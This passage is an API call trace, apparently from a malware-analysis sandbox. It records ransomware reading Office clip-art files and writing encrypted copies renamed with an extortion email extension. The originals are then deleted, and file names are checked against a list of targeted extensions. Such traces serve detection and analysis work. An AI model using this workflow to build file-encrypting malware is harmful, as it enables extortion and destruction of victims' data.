	[0086.220] WriteFile (in: hFile=0x37c, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0x970, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0x970, lpOverlapped=0x0) returned 1
	[0086.221] ReadFile (in: hFile=0x390, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1
	[0086.221] WriteFile (in: hFile=0x37c, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0xec, lpOverlapped=0x0) returned 1
	[0086.222] SetEndOfFile (hFile=0x37c) returned 1
	[0086.222] CloseHandle (hObject=0x37c) returned 1
	[0086.222] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.222] SetEndOfFile (hFile=0x390) returned 1
	[0086.223] CloseHandle (hObject=0x390) returned 1
	[0086.223] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0086.223] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01170_.wmf")) returned 1
	[0086.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 68
	[0086.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 68
	[0086.223] lstrlenW (lpString=".doc") returned 4
	[0086.223] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0086.223] lstrlenW (lpString=".docx") returned 5
	[0086.223] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0086.223] lstrlenW (lpString=".pdf") returned 4
	[0086.223] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0086.223] lstrlenW (lpString=".xls") returned 4
	[0086.223] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0086.223] lstrlenW (lpString=".xlsx") returned 5
	[0086.223] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0086.223] lstrlenW (lpString=".ppt") returned 4
	[0086.223] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0086.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 68
	[0086.224] lstrlenW (lpString=".zip") returned 4
	[0086.224] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0086.224] lstrlenW (lpString=".rar") returned 4
	[0086.224] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0086.224] lstrlenW (lpString=".bz2") returned 4
	[0086.224] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0086.224] lstrlenW (lpString=".7z") returned 3
	[0086.224] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0086.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 68
	[0086.224] lstrlenW (lpString=".dbf") returned 4
	[0086.224] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0086.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 68
	[0086.224] lstrlenW (lpString=".1cd") returned 4
	[0086.224] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0086.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 68
	[0086.224] lstrlenW (lpString=".jpg") returned 4
	[0086.224] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0086.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 68
	[0086.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 68
	[0086.224] lstrlenW (lpString=".doc") returned 4
	[0086.224] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0086.224] lstrlenW (lpString=".docx") returned 5
	[0086.224] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0086.224] lstrlenW (lpString=".pdf") returned 4
	[0086.224] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0086.224] lstrlenW (lpString=".xls") returned 4
	[0086.224] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0086.224] lstrlenW (lpString=".xlsx") returned 5
	[0086.224] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0086.224] lstrlenW (lpString=".ppt") returned 4
	[0086.224] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0086.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 68
	[0086.224] lstrlenW (lpString=".zip") returned 4
	[0086.224] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0086.224] lstrlenW (lpString=".rar") returned 4
	[0086.224] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0086.224] lstrlenW (lpString=".bz2") returned 4
	[0086.225] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0086.225] lstrlenW (lpString=".7z") returned 3
	[0086.225] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0086.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 68
	[0086.225] lstrlenW (lpString=".dbf") returned 4
	[0086.225] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0086.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 68
	[0086.225] lstrlenW (lpString=".1cd") returned 4
	[0086.225] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0086.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 68
	[0086.225] lstrlenW (lpString=".jpg") returned 4
	[0086.225] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0086.225] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0086.225] lstrlenW (lpString="DD01171_.WMF") returned 12
	[0086.225] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01171_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0086.225] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=2052) returned 1
	[0086.225] CloseHandle (hObject=0x390) returned 1
	[0086.225] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01171_.wmf")) returned 0x220
	[0086.225] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01171_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0086.226] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01171_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0086.226] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.226] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.226] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01171_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0086.226] GetLastError () returned 0x0
	[0086.226] ReadFile (in: hFile=0x390, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x804, lpOverlapped=0x0) returned 1
	[0086.625] WriteFile (in: hFile=0x37c, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0x810, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0x810, lpOverlapped=0x0) returned 1
	[0086.626] ReadFile (in: hFile=0x390, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1
	[0086.626] WriteFile (in: hFile=0x37c, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0xec, lpOverlapped=0x0) returned 1
	[0086.626] SetEndOfFile (hFile=0x37c) returned 1
	[0086.626] CloseHandle (hObject=0x37c) returned 1
	[0086.626] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.626] SetEndOfFile (hFile=0x390) returned 1
	[0086.627] CloseHandle (hObject=0x390) returned 1
	[0086.627] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0086.627] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01171_.wmf")) returned 1
	[0086.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 68
	[0086.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 68
	[0086.627] lstrlenW (lpString=".doc") returned 4
	[0086.627] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0086.627] lstrlenW (lpString=".docx") returned 5
	[0086.627] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0086.627] lstrlenW (lpString=".pdf") returned 4
	[0086.627] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0086.628] lstrlenW (lpString=".xls") returned 4
	[0086.628] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0086.628] lstrlenW (lpString=".xlsx") returned 5
	[0086.628] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0086.628] lstrlenW (lpString=".ppt") returned 4
	[0086.628] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0086.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 68
	[0086.628] lstrlenW (lpString=".zip") returned 4
	[0086.628] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0086.628] lstrlenW (lpString=".rar") returned 4
	[0086.628] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0086.628] lstrlenW (lpString=".bz2") returned 4
	[0086.628] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0086.628] lstrlenW (lpString=".7z") returned 3
	[0086.628] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0086.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 68
	[0086.628] lstrlenW (lpString=".dbf") returned 4
	[0086.628] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0086.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 68
	[0086.628] lstrlenW (lpString=".1cd") returned 4
	[0086.628] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0086.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 68
	[0086.628] lstrlenW (lpString=".jpg") returned 4
	[0086.628] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0086.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 68
	[0086.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 68
	[0086.628] lstrlenW (lpString=".doc") returned 4
	[0086.628] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0086.628] lstrlenW (lpString=".docx") returned 5
	[0086.628] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0086.628] lstrlenW (lpString=".pdf") returned 4
	[0086.628] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0086.628] lstrlenW (lpString=".xls") returned 4
	[0086.628] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0086.628] lstrlenW (lpString=".xlsx") returned 5
	[0086.628] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0086.629] lstrlenW (lpString=".ppt") returned 4
	[0086.629] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0086.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 68
	[0086.629] lstrlenW (lpString=".zip") returned 4
	[0086.629] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0086.629] lstrlenW (lpString=".rar") returned 4
	[0086.629] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0086.629] lstrlenW (lpString=".bz2") returned 4
	[0086.629] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0086.629] lstrlenW (lpString=".7z") returned 3
	[0086.629] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0086.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 68
	[0086.629] lstrlenW (lpString=".dbf") returned 4
	[0086.629] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0086.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 68
	[0086.629] lstrlenW (lpString=".1cd") returned 4
	[0086.629] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0086.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 68
	[0086.629] lstrlenW (lpString=".jpg") returned 4
	[0086.629] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0086.629] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0086.629] lstrlenW (lpString="DD01586_.WMF") returned 12
	[0086.629] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01586_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0086.630] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=2324) returned 1
	[0086.630] CloseHandle (hObject=0x390) returned 1
	[0086.630] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01586_.wmf")) returned 0x220
	[0086.630] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01586_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0086.631] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01586_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0086.631] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.631] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.631] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01586_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0086.631] GetLastError () returned 0x0
	[0086.631] ReadFile (in: hFile=0x390, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x914, lpOverlapped=0x0) returned 1
	[0086.633] WriteFile (in: hFile=0x37c, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0x920, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0x920, lpOverlapped=0x0) returned 1
	[0086.634] ReadFile (in: hFile=0x390, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1
	[0086.634] WriteFile (in: hFile=0x37c, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0xec, lpOverlapped=0x0) returned 1
	[0086.634] SetEndOfFile (hFile=0x37c) returned 1
	[0086.634] CloseHandle (hObject=0x37c) returned 1
	[0086.634] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.634] SetEndOfFile (hFile=0x390) returned 1
	[0086.635] CloseHandle (hObject=0x390) returned 1
	[0086.635] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0086.635] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01586_.wmf")) returned 1
	[0086.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 68
	[0086.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 68
	[0086.635] lstrlenW (lpString=".doc") returned 4
	[0086.635] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0086.635] lstrlenW (lpString=".docx") returned 5
	[0086.635] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0086.635] lstrlenW (lpString=".pdf") returned 4
	[0086.635] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0086.635] lstrlenW (lpString=".xls") returned 4
	[0086.635] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0086.635] lstrlenW (lpString=".xlsx") returned 5
	[0086.635] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0086.635] lstrlenW (lpString=".ppt") returned 4
	[0086.635] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0086.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 68
	[0086.636] lstrlenW (lpString=".zip") returned 4
	[0086.636] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0086.636] lstrlenW (lpString=".rar") returned 4
	[0086.636] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0086.636] lstrlenW (lpString=".bz2") returned 4
	[0086.636] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0086.636] lstrlenW (lpString=".7z") returned 3
	[0086.636] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0086.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 68
	[0086.636] lstrlenW (lpString=".dbf") returned 4
	[0086.636] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0086.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 68
	[0086.636] lstrlenW (lpString=".1cd") returned 4
	[0086.636] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0086.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 68
	[0086.636] lstrlenW (lpString=".jpg") returned 4
	[0086.636] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0086.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 68
	[0086.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 68
	[0086.636] lstrlenW (lpString=".doc") returned 4
	[0086.636] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0086.636] lstrlenW (lpString=".docx") returned 5
	[0086.636] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0086.636] lstrlenW (lpString=".pdf") returned 4
	[0086.636] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0086.636] lstrlenW (lpString=".xls") returned 4
	[0086.636] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0086.637] lstrlenW (lpString=".xlsx") returned 5
	[0086.637] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0086.637] lstrlenW (lpString=".ppt") returned 4
	[0086.637] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0086.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 68
	[0086.637] lstrlenW (lpString=".zip") returned 4
	[0086.637] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0086.637] lstrlenW (lpString=".rar") returned 4
	[0086.637] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0086.637] lstrlenW (lpString=".bz2") returned 4
	[0086.637] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0086.637] lstrlenW (lpString=".7z") returned 3
	[0086.637] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0086.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 68
	[0086.637] lstrlenW (lpString=".dbf") returned 4
	[0086.637] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0086.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 68
	[0086.637] lstrlenW (lpString=".1cd") returned 4
	[0086.637] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0086.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 68
	[0086.637] lstrlenW (lpString=".jpg") returned 4
	[0086.637] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0086.637] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0086.637] lstrlenW (lpString="DD01628_.WMF") returned 12
	[0086.637] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01628_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0086.638] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=19068) returned 1
	[0086.638] CloseHandle (hObject=0x390) returned 1
	[0086.638] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01628_.wmf")) returned 0x220
	[0086.638] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01628_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0086.638] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01628_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0086.638] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.638] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.638] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01628_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0086.639] GetLastError () returned 0x0
